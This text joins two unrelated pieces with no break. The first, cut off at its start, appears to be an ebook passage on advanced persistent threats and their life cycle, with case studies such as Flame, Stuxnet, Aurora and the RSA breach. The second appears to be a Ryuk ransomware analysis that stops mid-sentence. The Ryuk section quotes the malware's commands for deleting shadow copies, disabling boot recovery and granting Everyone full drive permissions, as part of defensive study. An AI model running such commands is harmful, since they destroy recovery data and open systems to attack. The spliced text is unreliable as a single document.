will continue to make headlines in ways they never intended. The following is a sampling of recent high-profile commercial and government cyber attacks that incorporated advanced hacking techniques: **Commercial attacks** - Global Payments (March 2012): Attack dating back to January 2011 in which a hacker exfiltrated information for over 7 million credit cards, costing this credit card processor nearly $85 million and temporary delisting by Visa and MasterCard. - Citigroup (June 2011): The company disclosed that a cyber attack resulted in the theft of more than 360,000 credit card numbers, of which 3,400 were used to steal more than $2.7 million. - RSA Security (March 2011): Cyber attackers stole data related to SecurID tokens, rendering them insecure. **Government attacks** - South Carolina Department of Revenue (October 2012): A hacker exfiltrated approximately 3.6 million Social Security numbers and 387,000 credit and debit card numbers from an external cyber attack. - U.S. Environmental Protection Agency (EPA) (August 2012): Social Security numbers, bank routing numbers, and home addresses of more than 5,000 EPA employees were exposed after an employee clicked on a malicious email attachment. - Iran (May 2012): Flame malware allegedly developed by the United States and Israel was deployed to slow the Iranian nuclear program. ### The Cost of Failure To mitigate both traditional and next-generation threats, IT security organizations must implement a defense-in-depth strategy (layers of network and endpoint security defenses). Failing to do so can prove costly. In fact, it can bankrupt a company! In 2012, Ponemon Institute published a third annual report titled “2012 Cost of Cyber Crime Study: United States.” Upon analyzing the cost of data breaches for 56 U.S.-based enterprises, Ponemon found the average annualized cost of cybercrime for each organization to be $8.9 million, with a range of $1.4 million to $46 million. This is up from $8.4 million (6 percent increase) in 2011. Ponemon also calculated that each organization averages 102 successful cyber attacks per week, up from 72 per week in 2011 (42 percent increase). Companies victimized by large-scale data breaches face enormous costs, including: - Investigation and forensics costs - Customer and partner communications costs - Public relations costs - Lost revenue due to damaged reputation - Regulatory fines - Civil claims and legal fees When it comes to defending against cyber attacks, the old adage applies — an ounce of prevention is worth a pound of cure. Companies owe it to themselves, their customers, and their stockholders to incorporate next-generation threat protection into their defense-in-depth architecture to stay ahead of today’s new breed of cyber attacks. ### Today’s Threat Landscape There are dozens of cyber attacks facing today’s enterprises and government agencies. I’m going to oversimplify the threat landscape by grouping cyber attacks into two broad categories — traditional threats and next-generation threats. **Traditional threats** The traditional cyber attacks described in this section are “oldies but goodies.” But don’t underestimate them. Although they can usually be detected by IPS devices, next-generation firewalls (NGFW), and anti-virus software, sometimes newer variants slip through the cracks. - **Worms, Trojans, and viruses** A computer worm is a stand-alone malware program that replicates itself — typically through vulnerabilities in operating systems — over a network in order to propagate. Worms typically harm networks by consuming bandwidth, but also provide a “lateral” attack vector that may infect supposedly protected internal systems or exfiltrate data. Unlike a computer virus, a worm doesn’t append itself to other programs or files. A Trojan (or Trojan horse) typically masquerades as a helpful software application, with the ultimate purpose of tricking a user into granting access to a computer. Trojans may self-replicate within the infected system, but cannot propagate to other vulnerable computers on their own; they typically join networks of other infected computers (called botnets) where they wait to receive further instructions, and into which they submit stolen information. Trojans may be delivered by means of spam email or social media, or may be disguised as a pirated installer for a well-known game or application. A computer virus is malicious code ranging in severity from mildly annoying to completely devastating. It attaches itself to a program or file enabling it to spread from one computer to another, leaving infections as it travels. However, unlike a worm, a virus can’t travel without human action. - **Spyware and botnets** Spyware is software that covertly gathers user information through an Internet connection without the user’s knowledge, usually for advertising purposes (called Adware, which displays pop-up ads), but sometimes to steal confidential information such as usernames, passwords, and credit card numbers. Spyware applications are typically bundled as a hidden component of shareware or freeware programs downloaded from the Internet. Once installed, the spyware monitors user activity and then covertly transmits that information in the background to someone else. A botnet is a collection of compromised Internet-connected computers on which malware is running. Each compromised device is called a bot (or zombie), and the human controlling a botnet is called the botherder (or botmaster). Command and control of a botnet typically involves Web servers (called command-and-control or CnC servers) operated for the specific purpose of controlling bots, though some older botnets are directed by the bot herder using Internet Relay Chat (IRC). Bots are often used to commit denial-of-service attacks, relay spam, store stolen data, and/or download additional malware to the infected host computer. - **Social engineering attacks** Social engineering attacks — such as phishing and baiting — are extremely common. These attacks, when successful, can lead to much broader, more sophisticated cyber attacks. Phishing is an attempt to acquire information (and, indirectly, money) such as usernames, passwords, credit card information, and Social Security numbers by masquerading as a trustworthy entity in email communication. After clicking on a (seemingly innocent) hyperlink, the user is directed to enter personal details on a fake website that looks and feels almost identical to the legitimate one. Phishing can be specialized: - **Spear phishing** targets a specific person or persons within an organization. Attackers will often gather personal information about their target ahead of time to increase the probability of their success. - **Whaling** is directed specifically toward senior executives and other high-profile targets within an organization. Baiting occurs when a criminal casually drops a USB thumb drive or CD-ROM in a parking lot or cyber café. This drive or disc is labeled with words such as “executive compensation” or “company confidential” to pique the interest of whoever finds it. When the victim accesses the media, it installs malware on his or her computer. - **Buffer overflows and SQL injections** Two commonly used techniques that exploit vulnerabilities are buffer overflows and SQL injection attacks. A buffer overflow is a cyber attack where the hacker writes more data into a memory buffer than the buffer is designed to hold. Some of this data spills into adjacent memory, causing the desktop or Web-based application to execute arbitrary code with escalated privileges or even crash. Buffer overflows are commonly triggered by hacker inputs or by malicious files/Web objects that are designed to execute code or alter the way that the program operates. An SQL injection attacks databases through a website or Web-based application. The attacker submits SQL statements into a Web form in an attempt to get the Web application to pass the rogue SQL command to the database. A successful SQL injection attack can reveal database content (such as credit card and Social Security numbers, passwords, and more) to the attacker. ### Next-Generation Threats Traditional signature-based security defenses — including IPS, NGFW, and anti-virus products — are mainly designed to detect known threats. But today, it’s the unknown threats that are making the biggest headlines. - **Zero-day threats** A zero-day threat is a cyber attack on a publicly unknown operating system or application vulnerability, so named because the attack was launched on (or increasingly before) “day zero” of public awareness of the vulnerability — and, in many instances, before the vendor was even aware. - **Advanced persistent threats** Advanced persistent threats (APTs) are sophisticated network attacks in which an unauthorized person gains access to a network and stays undetected for a long period of time. The intention of an APT is to steal data rather than to cause damage to the network. APTs target organizations in sectors with high-value information, such as credit card processors, government agencies, and the financial services industry. APTs often use spear phishing for gaining initial network entry. Once an initial host has been compromised, the APT proceeds using a slow-and-low strategy to evade detection. - **Polymorphic threats** A polymorphic threat is a cyber attack — such as a virus, worm, spyware, or Trojan — that constantly changes (“morphs”), making it nearly impossible to detect using signature-based defenses. Evolution of polymorphic threats can occur in a variety of ways, such as filename changes and compression. Although the appearance of the code within a polymorphic threat changes with each “mutation,” the essential function usually remains the same. For example, a spyware program intended to act as a keylogger will continue to perform that function even though its signature has changed. - **Blended threats** A blended threat is a cyber attack that combines elements of multiple types of malware and usually employs multiple attack vectors to increase the severity of damage and the speed of contagion. A blended threat typically includes: - Multiple means of propagation - Exploitation of operating system and/or application vulnerabilities - The intent to cause harm to network hosts ### Why Windows is so prone to cyber attacks When you read about high-profile data breaches in the trade press — at least those committed by Internet-borne threats, rather than involving physically stolen laptops or USB thumb drives — virtually all of them result from a cyber attack against a Microsoft Windows host. So, does that mean that Windows hosts are more prone to cyber attacks? IT security pundits think so and generally offer two explanations — both of which I deem as perfectly valid. The first explanation merely relates to the near-monopolistic desktop operating system market share that Microsoft enjoys, especially in business environments. Although analyst estimations vary, most show that approximately 9 out of 10 end-user computing devices feature a Windows operating system. Thus, when sophisticated hackers are developing complex worms, Trojans, botnets, and spear-phishing attacks, Windows is clearly the target of choice. The second explanation has more of a “technical” slant. Windows was designed to be a single-user operating system — frankly, with security as an afterthought. In other words, Windows was designed to let the user have free rein over the entire operating system. However, years later — starting with Windows NT — Windows was modified to support multiple user logins. But rather than re-architecting Windows from scratch as a multi-user operating system, Microsoft chose to preserve compatibility with programs designed for older Windows versions. In doing so, Microsoft left Windows full of holes (vulnerabilities) for hackers to exploit. So many, in fact, that the second Tuesday of every month is known as “Patch Tuesday,” when Microsoft releases new patches to address vulnerabilities within Windows operating systems. Although Patch Tuesday began in 2004, it’s still in full operation today. Does this mean that non-Windows operating systems are completely safe from viruses, malware, and other cyber attacks? Of course not. But since Mac OS X and Linux were designed from the ground up with security in mind, these platforms are far less susceptible. ## Chapter 2: Understanding the Enemy In this chapter: - Categorize three kinds of cyber enemies - Learn how attackers bypass traditional security defenses “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat.” — Sun Tzu, The Art of War “Know thy enemy,” an important theme from Sun Tzu’s infamous The Art of War manuscript, certainly ties nicely to the war against cyber attacks (and now, cyber terrorism) today. Before we dive into the anatomy of advanced persistent threats (in Chapter 3) and how to defend against them (in Chapter 4), let’s spend a little time getting to know the enemies, including understanding their motivations and why they are successful. ### Who is the Enemy? The face of cyber attackers has changed dramatically with the passing of each decade. In the 1970s and 1980s, phone phreaking (unauthorized manipulation of telephone switching equipment primarily to place free long-distance phone calls) was the craze. In 1983, the movie WarGames, starring a young Matthew Broderick, introduced the general public to computer hacking by way of modem, and the legend of hackers as cyber heroes was born. The 1990s brought widespread Internet adoption, including the emergence of the World Wide Web. Hackers back then defaced public websites primarily for bragging rights — up until the turn of the century. Hacking has now transformed into a multi-billion-dollar industry. Long gone are the days of hacking just for kicks. Today, there are essentially three types of cyber attackers that enterprises and government agencies must contend with — cybercriminals, state-sponsored threat actors, and hacktivists. **Cybercriminals** Simply put, cybercriminals are individuals who hack for profit. In most instances, they break into company networks in an attempt to steal credit card numbers (sometimes numbering in the tens or even hundreds of thousands) and sell them on the open market. Although not quite as profitable, Facebook, Twitter, and email account credentials sell for a pretty penny, too. One of the most notorious cybercriminals ever convicted is Albert Gonzalez. In 2010, Gonzalez was convicted of hacking into the databases of a regional credit card payment processing company, stealing more than 170 million credit card numbers over two years. He was sentenced to 20 years in prison — the stiffest sentence imposed on a cybercriminal to date. **State-sponsored threat actors** Arguably the most notable shift in the hacking community within the last decade has been the emergence of state-sponsored threat actors. These are individuals employed by a government (not necessarily their own government) to penetrate commercial and/or government computer systems in other countries to compromise data, sabotage computer systems, or even commit cyber warfare. China and Russia are among the countries most often cited for recruiting state-sponsored threat actors. But they are not alone. The following are well-known examples of cyber attacks allegedly perpetrated by nation-states, including the United States: - Iran is accused of cyber attacks against U.S. banks and oil companies in Saudi Arabia and Qatar (2012). - The United States and Israel are accused of creating Flame malware targeting Iran, Syria, and others (2012). - China cracks RSA SecurID tokens (2011). - The United States and Israel are accused of launching the Stuxnet worm targeting a uranium enrichment facility in Iran (2010). - China attacks Google (dubbed “Operation Aurora”) to access Gmail accounts of Chinese human rights activists; the same attack targets Adobe, Juniper, Dow Chemical, Northrop Grumman, and others (2009). - China steals blueprints for America’s new joint strike fighter planes, the F-35 and F-22 (2009). - Russia attacks the websites of Estonia’s parliament, ministries, banks, and newspapers amid relocation of the Bronze Soldier of Tallinn memorial (2007). Iran recently launched an ambitious $1 billion governmental program to boost national cyber capabilities. Experts believe that although China’s and Russia’s cyber war capabilities are vastly superior to Iran’s, politically speaking, Iran is significantly more likely to target U.S. cyber infrastructure in light of the ongoing international impasse over Iran’s nuclear program. **Hacktivists** Hacktivism is the use of digital tools in pursuit of political ends. Unlike cybercriminals who are motivated by money, hacktivists are motivated by political ideology. Typical cyber attacks committed by hacktivists include website defacements, redirects, information theft, and virtual sit-ins through distributed denial-of-service (DDoS) attacks (overwhelming websites through hundreds or thousands of simultaneous and repetitive connections). Some hacktivists have joined together to collectively target victims. In 2011, LulzSec claimed responsibility for several high-profile cyber attacks, including multiple attacks against Sony and the crashing of the U.S. Central Intelligence Agency (CIA) website. In 2012, Anonymous claimed responsibility for crashing several Israeli government websites following Israel’s aerial strikes on Gaza. ### How the Enemy Succeeds Now that you have a solid understanding of the three main types of cyber attackers — cybercriminals, state-sponsored threat actors, and hacktivists — I’ll discuss why they’re so successful. **Bypassing signature-based defenses** Traditional network and endpoint security products — such as intrusion prevention systems (IPS), next-generation firewalls (NGFW), secure Web gateways, and anti-virus solutions — rely on pattern-matching signatures to detect known cyber attacks and, in some instances, unknown attacks targeting known vulnerabilities. These security defenses are extremely effective at detecting traditional, known cyber attacks such as worms, Trojans, spyware, botnets, and basic computer viruses. But they’re completely inept at detecting today’s new breed of cyber attacks, such as zero-day, targeted attacks, polymorphic malware, blended attacks, and APTs. In fact, in most cases, today’s new breed of cyber attacks pass through traditional security defenses as if they weren’t even there! That’s simply because no signature exists to detect the advanced tactics used in the first stage of an overall attack that ultimately gives cyber attackers free rein within the network. **Bypassing anomaly-based defenses** Better IPS and network behavior analysis (NBA) solutions incorporate anomaly-based detection methods to help uncover sophisticated cyber attacks. They work by aggregating flow records from network routers and switches and baselining “normal” network traffic over the course of days or even weeks. Once a baseline has been established, network anomalies can be detected, such as a host sending exorbitant amounts of data outside the organization or an end-user computing device communicating directly with other end-user computing devices. Although anomaly-based security defenses can detect certain events caused by next-generation threats, they are largely unsuccessful because they’re frequently prone to false positives (misclassifying good traffic as bad). And they’re also prone to false negatives (misclassifying bad traffic as good) due to the “slow and low” nature of advanced persistent threats. ## Chapter 3: Anatomy of Advanced Cyber Attacks In this chapter: - Define, in detail, advanced persistent threats (APTs) - Review high-profile APTs making international headlines - Understand the life cycle of APT attacks In Chapter 1, I discuss the differences between traditional cyber attacks and today’s new breed of cyber attacks. In Chapter 2, I discuss why next-generation threats are so well equipped to bypass traditional security defenses. Now I’d like to discuss the category of advanced cyber attacks that is, by far, generating the most headlines. I’m talking, of course, about advanced persistent threats, or APTs. In this chapter, I expand upon the definition of APT provided in Chapter 1. I detail some of the biggest headlines APTs have generated in recent years and then discuss their damaging impact on victimized enterprises and government agencies. I conclude the chapter by describing the APT attack life cycle and provide a list of telltale signs to help you determine whether your network has been compromised by an APT attack. ### APTs in Depth In Chapter 1, I define an APT as “a sophisticated network attack in which an unauthorized person gains access to a network and stays undetected for a long period of time.” Although this is quite true, it’s only part of the story. APTs are unlike any cyber attack seen before. The term “advanced persistent threat” was actually created by information security analysts in the U.S. Air Force in 2006. It describes three aspects of the attackers, including their profile, intent, and structure: - **Advanced**: The attacker is an expert in cyber-intrusion methods and is capable of crafting custom exploits and tools. - **Persistent**: The attacker has a long-term objective and will persistently work to achieve it without detection and without regard for time. - **Threat**: The attacker is organized, funded, well trained, and highly motivated. APTs are widely considered the most dangerous type of cyber attack today. Cybercriminals who employ APTs are a different breed. They’re experts at “flying below the radar” to avoid detection as they exfiltrate highly sensitive data from enterprises and government agencies. Unfortunately, most organizations don’t know they’ve been compromised by an APT attack until it’s too late. According to the same 2012 Verizon Data Breach Investigations report referenced in Chapter 1, 59 percent of surveyed organizations that experienced major data breaches in 2011 were notified of the breach by a law enforcement agency! ### What APTs are not As important as it is to understand what APTs are, it’s equally important to understand what they are not. An APT is not a single piece of malware, or even a collection of malware. It is not a single activity and it is never launched without a specific target or objective in mind. APTs are well-coordinated, extended campaigns — whether motivated by financial gain, personal politics, or national interests — intended to achieve an objective against a specific target. APTs incorporate multiple cyber attack techniques and take place over several stages to form a single coordinated attack. ### Three myths of APT attacks APTs are among the hottest topics of discussion in the information security world today. Unfortunately, there is almost as much misinformation out there about APTs as there is accurate information. Let’s take a moment to reflect on three common myths about advanced persistent threats. **Myth #1: Only specific industries are targets for APTs.** A common misconception is that only large organizations in specific industries are targets of APTs. We know this is false based on the headlines alone. APTs have been reported across a broad spectrum of industries, including government, financial services, telecommunications, energy, transportation, and even information security. **Myth #2: APTs target critical endpoints only.** A second myth about APTs is that the perpetrators are targeting high-profile, mission-critical endpoints only, and that end-user devices (laptops and desktops) rarely come into play. This notion is a complete fallacy and is actually the opposite of reality. In virtually all instances, the initial point of entry for an APT is an end-user computing device compromised by a spear-phishing attack, Trojan, or other form of malware. **Myth #3: APTs can be addressed by traditional security defenses.** Virtually every information security vendor claims at least some ability to detect, and in some instances prevent, APT attacks. The truth of the matter is that very few can. Traditional security defenses that incorporate threat-detection signatures (such as IPS, NGFW, and anti-virus solutions) are virtually blind to zero-day attacks and polymorphic threats. Relying on traditional security defenses alone is like showing up to a gunfight with a pocketknife. You simply don’t stand a chance. ### APTs in the News These days, it seems like a week can’t go by without news of a major data breach at a company, university, or government agency. The following are descriptions of the most newsworthy APT attacks in each of the last four years. **Flame (2012)** Flame, also known as Flamer, sKyWiper, and Skywiper, is an APT that was identified in May 2012 by the MAHER Center of Iranian National CERT, Kaspersky Lab, and the Budapest University of Technology and Economics. Kaspersky Lab was asked by the United Nations International Telecommunications Union to investigate reports of a virus affecting Iranian Oil Ministry computers. Computer experts consider Flame the cause of an attack in April 2012 that caused Iranian officials to disconnect their oil terminals from the Internet. It is now widely asserted that the United States and Israel jointly developed the Flame malware to collect intelligence in preparation for cyber-sabotage aimed at slowing Iran’s ability to develop a nuclear weapon. After the initial exploit stage, Flame begins a complex set of operations including calling back to its command-and-control servers to download other malware modules. When fully deployed, Flame is an uncharacteristically large program for malware at 20 megabytes in size — about 20 to 30 times larger than a typical computer virus. It is widely regarded as the most sophisticated malware ever created. Experts believe Flame, which was designed to masquerade as a routine Microsoft software update, was created to secretly map and monitor Iran’s computer networks, sending back a steady stream of intelligence to prepare for a cyber warfare campaign. **RSA SecurID Attack (2011)** In March 2011, RSA Security (a division of EMC) disclosed that it had been victimized by an APT, causing it to notify its SecurID two-factor authentication customers and advise them to swap out their (compromised) token devices. In the months following, reports of data breaches caused, in part, by compromised SecurID tokens began to surface. Most notably, Lockheed Martin released a statement admitting that its network was breached by “sophisticated adversaries,” but the company said no assets were compromised. Some security experts, however, are skeptical as to whether the nation’s largest defense contractor is being completely forthcoming about a breach on which President Obama was reportedly personally briefed. Soon after RSA Security disclosed the attack to the public, a company official posted a blog providing intricate details about how the APT attack was perpetrated over several stages. In EMC’s 10-Q filing, it was disclosed that the APT attack against RSA Security cost the company $81.3 million to replace SecurID tokens, monitor customers, harden internal systems, and handle fallout from the security breach. **Stuxnet (2010)** Stuxnet is a highly sophisticated computer worm discovered in June 2010 that was believed to be in place for over a year and used in conjunction with an APT attack against Iranian uranium enrichment infrastructure. In the first stage, Stuxnet initially spread by exploiting a Microsoft Windows vulnerability and then spread laterally in the network to ultimately reach targeted Siemens industrial software and equipment causing it to malfunction. Although this is not the first time that hackers have targeted industrial systems, it is the first documented case of malware to include a programmable logic controller (PLC) rootkit. Siemens stated that the worm has not caused any damage to its customers, but the Iran nuclear facility procured embargoed Siemens equipment secretly, which was damaged by Stuxnet during the attack. Interestingly, Stuxnet’s multiple spreading mechanisms caused it to eventually escape from the Iranian facility and to infect energy giant Chevron. However, company officials said that Stuxnet identified Chevron as an innocent target and was programmed to withhold its damaging payload, thus ending the attack life cycle. As a result, it caused no damage to Chevron’s systems and the company was able to remove it. Experts have found evidence within the Stuxnet source code linking the APT attack to the United States and Israel, although officials from both countries have denied the accusation. **Operation Aurora (2009)** Operation Aurora was a high-profile APT attack that began in mid-2009 and continued through December 2009. It was first publicly disclosed by Google in January 2010 in a blog post indicating that the attack originated from China and that it targeted the Gmail accounts of Chinese human rights activists. Dozens more organizations, including Yahoo, Symantec, Northrop Grumman, Morgan Stanley, and Dow Chemical, were also targeted by this attack. Two days following the attack, McAfee reported the attackers had exploited a zero-day vulnerability in Microsoft Internet Explorer and dubbed the attack “Operation Aurora.” Once a victim’s system was compromised, the next stage of the attack consisted of a backdoor connection that masqueraded as an SSL connection to command-and-control servers running in Illinois, Texas, and Taiwan, including machines that were running under stolen Rackspace customer accounts. The victim’s machine then began its lateral search for sources of intellectual property, specifically the contents of source code repositories. ### The Ripple Effect of a National APT Attack In Chapter 1 (in “The Cost of Failure” section), I itemize common costs that companies face when subjected to a large-scale data breach, including forensics costs, regulatory fines, and lost revenue. But what if APT threat actors decided to target something a little more strategic than corporate data? Imagine, if you will, a coordinated APT attack against power companies in a large region of the United States — say, the Northeast. Let’s further imagine that the perpetrators of the attack were successful in compromising the SCADA (supervisory control and data acquisition) systems that control a multi-state power grid, knocking out power for days or even weeks. Can you imagine the “ripple effect” such an attack might cause? - Electric power grids crash - Gas stations can’t pump fuel - ATMs can’t dispense cash - Grocery stores are depleted - Hospitals and emergency services can’t keep up Think such an attack is impossible? Think again. According to a 2012 report titled “Terrorism and the Electric Power Delivery System” from the National Research Council, a successful cyber attack on a regional power grid would make Hurricane Sandy look like nothing. Internet-delivered malware designed to destroy control systems could black out large regions of the nation for weeks or months causing widespread civil unrest. According to the report, damage from such an attack would cost many billions of dollars more than the destruction caused by Hurricane Sandy against the East Coast in 2012. ### APT Attack Life Cycle The anatomy of advanced persistent threats varies just as widely as the victims they target. However, cybersecurity experts researching APTs over the past five years have unveiled a fairly consistent attack life cycle consisting of five distinct stages: - **Stage 1**: Initial intrusion through system exploitation - **Stage 2**: Malware is installed on compromised system - **Stage 3**: Outbound connection is initiated - **Stage 4**: Attacker spreads laterally - **Stage 5**: Compromised data is extracted Let’s now explore each of these five APT life cycle stages in more detail. **Stage 1: Initial intrusion through system exploitation** System exploitation is the first stage of an APT attack to compromise a system in the targeted organization. By successfully detecting when a system exploitation attempt is underway, identification and mitigation of the APT attack is much more straightforward. If your defenses cannot detect the initial system exploitation, mitigating the APT attack becomes more complicated because the attacker has now successfully compromised the endpoint, can disrupt endpoint security measures, and hide his actions as malware spreads within the network and calls back out of the network. System exploits are typically delivered through the Web (remote exploit) or through email (local exploit) as an attachment. The exploit code is embedded within a Web object (e.g., JavaScript, JPG) or file (e.g., XLS, PDF) to compromise the vulnerable OS or application enabling an attacker to run code, such as connect-back shellcode to call back to CnC servers and download more malware. In the attack against RSA Security in 2011, an employee was tricked into opening an email with the subject of “2011 Recruitment plan.xls,” which included a malicious Microsoft Excel spreadsheet attachment that successfully exploited the system using a zero-day Adobe Flash vulnerability. **Stage 2: Malware is installed on compromised system** Once a victim system is exploited, arbitrary code is executed enabling malware to be installed on the compromised system. Visiting a Web page or a simple double-click of the mouse is all it takes for the user’s system to become compromised and infected with the malware payload. Not all spear phishing emails originating from an APT threat actor contain attachments. Many contain hyperlinks that, when clicked on by the user, open a Web browser (or sometimes another application, such as Adobe Reader, Microsoft Word, or Microsoft Excel). Each link is then redirected to a hidden address with a base64-encoding key. The hidden address refers to a dropsite, which assesses the browser for known vulnerabilities and returns a Trojan downloader. Upon execution, the downloader conveys a base64-encoded instruction to a different dropsite from which a Trojan (malware) is delivered. **Stage 3: Outbound connection is initiated** The malware installed during the prior stage often contains a remote administration tool, or RAT. Once up and running, the RAT “phones home” by initiating an outbound connection, often an SSL-encrypted channel, between the infected computer and a CnC server operated by the APT threat actor. APT threat actors go to this trouble to establish outbound callbacks to bypass traditional and next-generation firewalls, which allow session traffic to flow bi-directionally if initiated from within the trusted network. Once the RAT has successfully connected to the CnC server, the attacker has full control over the compromised host. Future instructions from the attacker are conveyed to the RAT through one of two means — either the CnC server connects to the RAT or vice versa. The latter is usually preferred as a host initiating an external connection from within the network is far less suspicious. **Stage 4: Attacker spreads laterally** It’s highly unlikely that the initially breached end-user computing device contains strategic data. So the APT attacker must spread laterally through the network to search for hosts operated by IT administrators (in an effort to steal administrative credentials) and high-value servers and databases containing sensitive data — the ultimate target of the APT attack. **Stage 5: Compromised data is extracted** In this stage of the network breach, the APT attacker has three obstacles to contend with. First, transferring all of the target data at once could trigger a flow-based anomaly alert due to an unusually high volume of traffic initiated by the targeted server or database. Second, the attacker needs to ensure that the host receiving the data can’t be linked back to him (or her). And third, transferring data as plain text could trigger an alert from a data leakage prevention (DLP) system. To overcome the first obstacle, a savvy APT attacker will exfiltrate data from the target server or database in “chunks” — perhaps in increments of 50-100 megabytes. One strategy is to group files or records together into compressed, password-protected RAR files. The second obstacle is a little more challenging. The attacker wants to get the data offsite as soon as possible, but can’t risk sending it to a host that can be traced back to the attacker. To overcome this challenge, the attacker might select for a staging area a virtual host that is hosted by a cloud-based service provider. That way the host can be instantly destroyed after the data has been extracted. The third and final obstacle in this phase can be accomplished by encrypting each RAR file before it is transferred to the staging host. Most RAR files support strong AES 128-bit encryption, which is more than sufficient. **Attacker covers his tracks, remaining undetected** If an enterprise or government agency has any hope of detecting an APT on its own, it’s far more likely to happen while the attack is still in progress. This is because most APT attackers are extremely good at covering their tracks. The following are tactics that APT attackers employ during and after the attack to minimize the risk of detection: - Planting malware to distract the IT security staff and keep them busy doing other things. - Spreading to network file shares, which are relatively unprotected and only completely wiped in extreme circumstances. - Deleting the compressed files after they’ve been extracted from the staging server. - Deleting the staging server if it’s hosted in the cloud or taking it offline if under control by the attacker. - Uninstalling malware at the initial point of entry. ### RSA Security steps forward to describe its APT attack Following RSA Security’s March 2011 data breach, the company posted details in its corporate blog describing exactly how the attack occurred. According to a company official, the attack started with a spear phishing attack that targeted specific company employees possibly identified through social media sites. The attacker sent two different spear phishing emails over a two-day period to two small groups of employees with a subject of “2011 Recruitment plan.xls” and a Microsoft Excel spreadsheet attachment. The email was crafted well enough to trick one of the employees into retrieving the email from their junk mail folder and then double-clicking on the attached Excel file. Unbeknownst to the user, the spreadsheet contained a zero-day exploit that installed a RAT through an Adobe Flash vulnerability. Once the RAT was in place, it initiated an outbound connection and the attacker gained full control of the user’s machine. As the initially compromised PC was not a strategic asset, the attacker’s next tactic was to move laterally inside the network by compromising additional hosts. He first harvested access credentials from the first compromised PC, including credentials to a domain admin account. The attacker then performed privilege account escalation on non-administrative users on other systems. He repeated this process until he stumbled across a high-value target — a computer operated by an IT server administrator. Soon after, the attacker located highly sensitive servers (allegedly containing top-secret SecurID two-factor authentication algorithms), compromised them, and established access to staging servers at key aggregation points to get ready for extraction. Then the attacker went into the servers of interest, removed data, and moved it to the staging servers where the data was aggregated, compressed, and encrypted for extraction. Finally, the attacker used FTP to transfer many password-protected RAR files from the RSA file server to an outside staging server at an external, compromised machine at a hosting provider. The files were subsequently pulled by the attacker and removed from the external compromised host to remove any traces of the attack. On a personal note, I applaud RSA Security for coming forward with precise details of this APT attack. By learning these intricate details, organizations can gain insights from RSA’s misfortune and perhaps implement new strategies and technologies — including next-generation threat protection — to help mitigate the real risk of APT attacks.
# An Inside Look at How Ryuk Evolved Its Encryption and Evasion Techniques **Marco Figueroa** ## Introduction In the last three months, there has been a 50% uptick in ransomware, with the Ryuk ransomware garnering the most attention after a string of high-profile attacks that have been crippling companies. Last month it was reported that Ryuk hit UHS hospital networks with force, spreading across UHS healthcare facilities in the US from coast to coast. This well-orchestrated attack left many hospital workers without access to labs, radiology, and patient records, which led to workers having to resort to pen and paper to triage patients. Ryuk is currently attacking approximately 20 organizations a week, and this number will only expand due to its successes. There are a number of factors that contribute to this success. These include its harnessing of other “toolkits” such as TrickBot and Emotet, and being quick to jump on newly-exposed vulnerabilities such as Zerologon. We also see that Ryuk has iterated since its earlier incarnations to evade detection and markedly improve the time it takes from execution to full encryption, making life increasingly difficult for organizations that cannot respond to threats at such speed. In this post, we look at how Ryuk has evolved since 2018 and explore the improvements in encryption speed and evasion techniques that we see in Ryuk samples today. Along the way, we detail a method analysts can use to extract the Ryuk executable from memory and dump it to file for further inspection. ## Ryuk Overview When Ryuk ransomware burst onto the scene, it was initially believed that it was developed by the same threat actors who developed Hermes Ransomware. However, it was later discovered that Hermes was being sold on the black market, allowing cybercriminals to purchase the framework and convert it to what is known today as Ryuk. The current waves of attacks have been known to use a combination of Emotet, Trickbot, and Ryuk. In recent weeks, the actors behind Ryuk have even been observed using ZeroLogon to extend their reach and broaden the delivery of their ransomware payloads. While the Ryuk payloads do not specifically contain the ZeroLogon functionality, the flaw is being leveraged at earlier stages in the attack chain. Attackers are able to use existing capabilities in Cobalt Strike and similar frameworks to achieve privilege escalation. It is quickly becoming clear that ZeroLogon will become a staple in the attackers’ collective “toolbelt”. ## Reversing and Comparing Ryuk 2018 and 2020 There are many tools in the reversing ecosystem for diffing binaries like Bindiff, but a fast tool when comparing binaries I find most useful is Ghidra’s version tracking to check for comparisons between binary files. If we compare an earlier version of Ryuk with the latest version, we can note some interesting changes. In the most recent version, Ryuk obfuscates its hardcoded strings to become more difficult for AV vendors to detect. Ryuk 2020 also copies itself to increase the speed of encryption, which we discuss in detail below. The ransomware uses RSA and AES to encrypt files with the extension `.ryk`, creating a new thread for each file it encrypts. Ryuk also uses the `CryptGenRandom` API, which fills the buffer with random bytes to generate a data encryption key. Since this API has been deprecated, I would expect the actors to change this in a future version of the ransomware, perhaps to the newer Cryptography API: Next Generation (CNG), which provides a new API `BCryptGenRandom` to achieve the same result. A significant difference between the earlier Ryuk binary and our recent sample is the time it takes to fully encrypt the local disk. The 2018 binary takes close to one hour to encrypt the local disk, while the 2020 version takes less than 10 minutes. The increased encryption speed of the newer Ryuk variant places an extra burden on enterprise security efforts. The reaction time to detect, mitigate, and eradicate Ryuk before major damage is done is significantly limited, and many organizations have been unable to contain the ransomware in time. This occurred in UHS networks and required hospital staffers to shut down computer systems immediately to prevent further machines becoming infected by Ryuk. ## Diving Deeper into Ryuk 2020 This particular Ryuk sample (f8bc1638ec3b04412f708233e8586e1d91f18f6715d68cba1a491d4a7f457da0) has a signed digital certificate which was explicitly revoked by its issuer. - **Serial Number:** 0a 1d c9 9e 4d 52 64 c4 5a 50 90 f9 32 42 a3 0a - **Subject:** CN = K & D KOMPANI d.o.o When Ryuk begins executing, it duplicates itself and dumps this copy into the same directory with a randomly generated 8 character name. However, the file name always ends with “...lan.exe”. These duplicate files help to start multiple threads. Ryuk utilizes a list of hardcoded strings to search for and stop specific running processes. It then tries to inject itself into additional processes. Ryuk next begins executing certain command line tools to achieve some of its devastating effects; in particular, it tries to prevent user recovery by attempting to delete the Volume Shadow copies by leveraging `cmd.exe /c 'WMIC.exe shadowcopy delete'`. This is followed with `cmd.exe /c 'vssadmin.exe Shadows /all /quiet'` and `cmd.exe /c 'bcdedit /set {default} recoveryenabled No & bcdedit /set {default}'`. An `icacls.exe` is created in the Windows WoW directory, which gives the group Everyone full permissions to the drives on the system so that Ryuk has everything it needs to encrypt all drives. ## Extracting the Executable from Memory To avoid detection, the malware uses various evasion techniques like self-injection. Ryuk uses this technique by allocating memory in which it writes a PE file. After this, it calls `VirtualProtect` to change the execution permissions on the section. A fast way to extract the executable from memory is to run the binary in a debugger and set a breakpoint at the location of the allocated memory. For this, I use x32dbg, and set a breakpoint on `VirtualAlloc`. A thing to note is that when setting a breakpoint for 